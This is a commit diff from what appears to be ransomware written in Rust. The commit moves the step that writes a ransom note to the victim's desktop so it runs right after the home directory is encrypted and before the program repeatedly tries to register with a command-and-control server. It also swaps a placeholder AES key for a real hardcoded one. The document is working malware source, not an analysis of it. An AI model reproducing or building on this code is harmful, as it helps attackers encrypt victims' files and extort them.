fix: make ransom note before attempting registration

This commit is contained in:
Xory 2024-06-30 18:42:18 +03:00
parent d8b855a853
commit 666845b90b
2 changed files with 7 additions and 7 deletions

View file

@ -18,7 +18,7 @@ use reqwest::blocking::Request;
type Aes256Cbc = Cbc<Aes256, Pkcs7>; type Aes256Cbc = Cbc<Aes256, Pkcs7>;
const KEY: &[u8] = b"keyhereshouldbereplacedbybuilder"; const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ";
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
const C2ADDR: &str = "c2serveraddr"; const C2ADDR: &str = "c2serveraddr";

View file

@ -23,6 +23,12 @@ fn main() -> std::io::Result<()> {
encrypt_directory(&home).unwrap(); // I know this many unwraps look encrypt_directory(&home).unwrap(); // I know this many unwraps look
// suspicious, but the chance of this // suspicious, but the chance of this
// failing is less than a solar flare. // failing is less than a solar flare.
// Write ransom note to desktop
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
// the user's HOME
ransomnote.write_all(NOTE.as_bytes())?;
ransomnote.flush()?;
loop { loop {
let registration_attempt = register(); let registration_attempt = register();
@ -33,11 +39,5 @@ fn main() -> std::io::Result<()> {
} }
} }
// Write ransom note to desktop
let mut ransomnote = File::create(ransomnoteloc)?; // we *should* have write perms for
// the user's HOME
ransomnote.write_all(NOTE.as_bytes())?;
ransomnote.flush()?;
Ok(()) Ok(())
} }